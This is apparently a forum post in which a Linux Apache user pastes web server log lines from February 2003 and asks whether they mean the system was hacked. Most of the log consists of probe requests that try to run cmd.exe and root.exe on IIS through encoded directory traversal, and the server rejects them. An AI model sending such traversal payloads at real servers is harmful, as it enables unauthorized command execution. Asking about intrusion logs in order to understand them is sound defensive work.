203.125.121.32 - - [06/Feb/2003:20:01:48 +0800] "GET / HTTP/1.1" 403 2898 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830"
203.125.121.32 - - [06/Feb/2003:20:01:49 +0800] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326 "http://203.125.121.32/" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830"
203.125.121.32 - - [06/Feb/2003:20:01:50 +0800] "GET /icons/powered_by.gif HTTP/1.1" 200 581 "http://203.125.121.32/" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830"
220.255.74.215 - - [06/Feb/2003:22:08:48 +0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:50 +0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:50 +0800] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:50 +0800] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:51 +0800] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:51 +0800] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:51 +0800] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:51 +0800] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:51 +0800] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 974 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 974 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:22:08:52 +0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:07 +0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:08 +0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:09 +0800] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:09 +0800] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:09 +0800] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:10 +0800] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:10 +0800] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:10 +0800] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:10 +0800] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:11 +0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:11 +0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:11 +0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:14 +0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 974 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:17 +0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 974 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:26 +0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
220.255.74.215 - - [06/Feb/2003:23:14:29 +0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:13 +0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:14 +0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:14 +0800] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:15 +0800] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:15 +0800] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:15 +0800] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:15 +0800] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:15 +0800] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:18 +0800] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:21 +0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:33 +0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:33 +0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:33 +0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 974 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:33 +0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 974 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:34 +0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.11.114 - - [09/Feb/2003:23:27:34 +0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.41.23 - - [13/Feb/2003:06:08:55 +0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"
203.125.41.23 - - [13/Feb/2003:06:09:16 +0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1041 "-" "-"

i found this in my linux box which i ran the httpd...i read some book and this is an indication that my system been hacked?is this kind of hacking onli effective on IIS?what wil this do to my system. what kind of software they using to do this kind of hacking?